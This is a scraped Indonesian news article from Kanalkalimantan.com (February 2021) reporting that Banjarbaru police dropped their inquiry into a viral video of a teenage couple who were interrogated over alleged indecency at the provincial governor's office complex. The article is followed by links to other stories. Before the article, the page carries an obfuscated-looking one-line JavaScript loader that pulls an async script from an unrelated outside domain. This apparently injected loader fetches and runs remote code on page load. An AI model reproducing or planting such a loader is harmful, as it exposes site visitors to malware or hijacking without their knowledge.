(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru menghentikan proses penyelidikan kasus video sepasang remaja yang digrebek, diduga melakukan perbuatan mesum di area fasilitas publik.
Kabar terbaru ini ditegaskan Kasubbag Humas Polres Banjarbaru, Iptu Tajuddin Noor, saat dihubungi Kanalkalimantan.com, Jumat (5/2/2021). “Kami tidak memproses kasus video itu,” ucapnya.
Lebih lanjut, Iptu Tajuddin menerangkan bahwa tak ada bukti yang bisa menguatkan bahwa pasangan remaja di dalam video tersebut melakukan perbuatan asusila. Sebab, dalam cuplikan video yang beredar hanya menampilkan dua sejoli yang sedang diinterogasi sejumlah orang.
“Tidak ada bukti kuat apakah remaja ini berbuat asusila atau tidak. Yang nampak di video kan hanya remaja yang didatangi dan ditanya-tanya oleh sejumlah orang. Jadi dugaan asusila itu masih sangat samar,” bebernya.
Menyegarkan ingatan, pekan lalu, warganet dibuat geger beredarnya sebuah video penggerebekan pasangan yang diduga berbuat mesum di area fasilitas publik.
Informasi yang beredar, pasangan tersebut diciduk di area perkantoran Sekretariat Daerah (Setda) Provinsi Kalimantan Selatan atau lebih dikenal kantor Gubernur Kalsel, di Kecamatan Cempaka, Kota Banjarbaru.
Video berdurasi 30 detik itu menampilkan dua sejoli yang usianya masih remaja sedang diinterogasi oleh sejumlah orang di area tersebut. Dugaan perbuatan mesum keduanya semakin kuat, lantaran sang pria terciduk menggunakan kondom di balik sarung yang dipakainya.
Sedangkan, sang wanita hanya bisa tertunduk malu sembari menutupi wajahnya. Video ini beredar luas di sosial media dan banyak yang beranggapan bahwa pasangan muda tersebut sedang bersiap melakukan perbuatan mesum.
Beredarnya video ini sempat membuat pihak kepolisian mengendus adanya tindak penyebaran konten pornografi. Namun sama seperti proses penyelidikan terhadap pasangan di dalam video tersebut, penyelidikan penyebaran video tersebut juga tidak dilakukan.
“Tidak ada proses penyidikan. Artinya kasus penyebaran video ini tidak dapat di tindak lanjut unsur pidananya. Karena sekali lagi saya tegaskan, tidak ada unsur pornografi di video tersebut. Hanya sepasang remaja yang diinterogasi oleh warga. Itu saja,” tandas Iptu Tajuddin. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
This website uses cookies.